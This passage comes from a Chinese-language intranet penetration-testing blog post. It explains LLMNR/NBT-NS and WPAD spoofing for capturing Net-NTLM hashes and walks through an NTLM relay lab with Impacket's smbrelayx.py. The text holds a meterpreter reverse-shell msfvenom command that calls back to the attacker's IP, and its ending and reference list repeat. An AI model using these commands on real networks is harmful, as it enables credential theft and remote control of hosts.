也就是說,如果在緩存中沒有找到名稱,DNS名稱服務器又請求失敗時,Windows系統就會通過鏈路本地多播名稱解析(LLMNR)和Net-BIOS名稱服務(NBT-NS)在本地進行名稱解析。這時,客戶端就會將未經認證的UDP廣播到網絡中,詢問它是否為本地系統的名稱,由於該過程未被認證,並且廣播到整個網絡,從而允許網絡上的任何機器響應並聲稱是目標機器。當用戶輸入不存在、包含錯誤或者DNS中沒有的主機名時,通過工具(responder)監聽LLMNR和NetBIOS廣播,攻擊者可以偽裝成受害者要訪問的目標機器,並從而讓受害者交出相應的登陸憑證。核心過程與arp欺騙類似,我們可以讓攻擊者作中間人,截獲到客戶端的Net-NTLMHash。
- 利用WPAD劫持獲得Net-NTLMHash
WPAD 網絡代理自動發現協議是一種客戶端使用DCHP、DNS、LLMNR、NBNS協議來定位一個代理配置文件(PAC)URL的方法。WPAD通過讓瀏覽器自動發現代理服務器,查找存放PAC 文件的主機來定位代理配置文件,下載編譯並運行,最終自動使用代理訪問網絡。
一個典型的劫持方式是利用LLMNR/NBNS欺騙來讓受害者從攻擊者獲取PAC文件,PAC文件指定攻擊者就是代理服務器,然后攻擊者就可以劫持受害者的HTTP流量,在其中插入任意HTML標簽從而獲得用戶的Net-NTLMHash。
下面來借助一個小實驗來講解該攻擊方法。
Impacket中的smbrelayx.py
攻擊者偽造一個惡意的SMB服務器,當內網中有機器Client1訪問這個攻擊者精心構造好的SMB服務器時, smbrelayx.py 腳本將抓到 Client1 的 Net-NTLM Hash ,然后 smbrelayx.py 用抓取到的 Client1 的 Net-NTLM Hash 重放給 Client2 。
開始實戰,用 smbrelayx.py 腳本來完成任務,用-c
選項來在受害機192.168.52.143上面執行命令:
./smbrelayx.py -h <Client2 IP> -c Command
此時我們讓Client1訪問這個攻擊者精心構造好的SMB服務器:
net use \\192.168.52.131
此時,攻擊者的smbrelayx.py腳本上就會發現命令成功執行了:
在實戰中,我們會提前生成了一個 Metasploit 的 payload 並放置在當前目錄下,然后用-e
選項在目標主機上傳並運行我們的payload
先生成一個metasploit木馬:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.52.131 LPORT=4444 -e x86/shikata_ga_nai -f exe -o ~\shell.exe
並設置好msfconsole
中exploit/multi/handler
監聽。
然后執行smbrelayx.py腳本:
隨后在Windows server 2008上執行net use \\192.168.138.131\c$
來訪問攻擊者搭建的惡意smb服務:
此時攻擊者的smbrelayx.py腳本上會有反應:
並且msfconsole上成功獲得了192.168.52.143(windows 7)的會話:
總之,NTLM Relay攻擊是一個拿域內主機的方法,在橫向移動中利用還是挺不錯的,可以直接控制域內主機,包括但不限於在遠程服務器上執行命令、上傳exe到遠程主機上執行、dump 服務器的用戶hash等等。
此部分的更多詳情可以看我的文章:《內網滲透測試:NTLM Relay攻擊分析》
Ending……
就先總結這么多吧,以后學了更好地方法再來總結哈哈哈!!!
參考:
https://pingmaoer.github.io/2020/06/27/域內橫向移動一
https://blog.csdn.net/qq_36119192/article/details/103614211
https://www.freebuf.com/articles/system/229200.html
https://www.freebuf.com/articles/network/245872.html
https://www.freebuf.com/articles/network/245697.html
https://blog.csdn.net/qq_36119192/article/details/104148658
https://www.freebuf.com/articles/network/244375.html
https://www.cnblogs.com/catt1e/p/12732868.html
0)]
此時攻擊者的smbrelayx.py腳本上會有反應:
[外鏈圖片轉存中…(img-NAnL9O1n-1609223853270)]
並且msfconsole上成功獲得了192.168.52.143(windows 7)的會話:
[外鏈圖片轉存中…(img-trw3634O-1609223853271)]
總之,NTLM Relay攻擊是一個拿域內主機的方法,在橫向移動中利用還是挺不錯的,可以直接控制域內主機,包括但不限於在遠程服務器上執行命令、上傳exe到遠程主機上執行、dump 服務器的用戶hash等等。
此部分的更多詳情可以看我的文章:《內網滲透測試:NTLM Relay攻擊分析》
Ending……
就先總結這么多吧,以后學了更好地方法再來總結哈哈哈!!!
[外鏈圖片轉存中…(img-ydASyumw-1609223853271)]
參考:
https://pingmaoer.github.io/2020/06/27/域內橫向移動一
https://blog.csdn.net/qq_36119192/article/details/103614211
https://www.freebuf.com/articles/system/229200.html
https://www.freebuf.com/articles/network/245872.html
https://www.freebuf.com/articles/network/245697.html
https://blog.csdn.net/qq_36119192/article/details/104148658
https://www.freebuf.com/articles/network/244375.html
https://www.cnblogs.com/catt1e/p/12732868.html
本文大多是我最近的學習總結,專為想我一樣正在入門的小白准備,文章內容基礎且豐富,對於上面所講的每種攻擊手法的具體詳情,還請查看我的相關文章。大佬路過還望多多點評!